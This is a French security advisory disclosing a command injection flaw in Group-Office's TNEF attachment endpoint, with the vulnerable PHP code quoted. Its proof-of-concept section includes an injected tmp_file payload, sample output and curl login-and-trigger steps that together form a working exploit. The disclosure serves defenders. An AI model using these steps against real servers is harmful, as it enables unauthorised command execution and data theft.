
RCE - Injection de commandes via le gestionnaire de pièces jointes TNEF
Vecteur CVSS 4.0 :
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Une vulnérabilité critique d'exécution de code à distance (RCE) a été identifiée dans Group-Office. Le point de terminaison email/message/tnefAttachmentFromTempFile concatène directement le paramètre contrôlé par l'utilisateur tmp_file dans un appel exec(). En injectant des métacaractères shell dans tmp_file, un attaquant authentifié peut exécuter des commandes système arbitraires sur le serveur.
| Produit | Versions affectées |
|---|---|
| Group-Office | ≤ 26.0.4 |
Le paramètre tmp_file est extrait de la requête HTTP et utilisé pour construire une commande shell sans échappement ni validation. Cela entraîne une injection de commande dans la commande d'extraction tnef, qui s'exécute avec les privilèges du serveur web.
Code vulnérable (www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| Étape | Description |
|---|---|
| Source | Paramètre de requête tmp_file dans index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... |
| Propagation | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| Sink | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
Étant donné que tmp_file est concaténé dans la commande shell, des métacaractères tels que ;, &, les backticks ou $() permettent à un attaquant d'ajouter des commandes arbitraires.
Exigence d'authentification : Oui.
MessageControllerapplique une vérification CSRFsecurity_token, donc une session valide et un jeton sont requis.
Le script PoC se connecte, récupère le security_token, injecte une charge utile via tmp_file, puis vérifie l'exécution en lisant rce.txt depuis la réponse ZIP.
python3 poc.py
Exemple de sortie :
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Étape 1 : Connexion
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
Réponse :
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
Étape 2 : Déclencher la RCE
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
Résultat :
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Catégorie | Sévérité | Description |
|---|---|---|
| Confidentialité | Élevée | L'exécution arbitraire de commandes permet de lire des fichiers sensibles. |
| Intégrité | Élevée | L'attaquant peut modifier ou supprimer des fichiers du serveur. |
| Disponibilité | Élevée | L'attaquant peut perturber les services ou supprimer des données critiques. |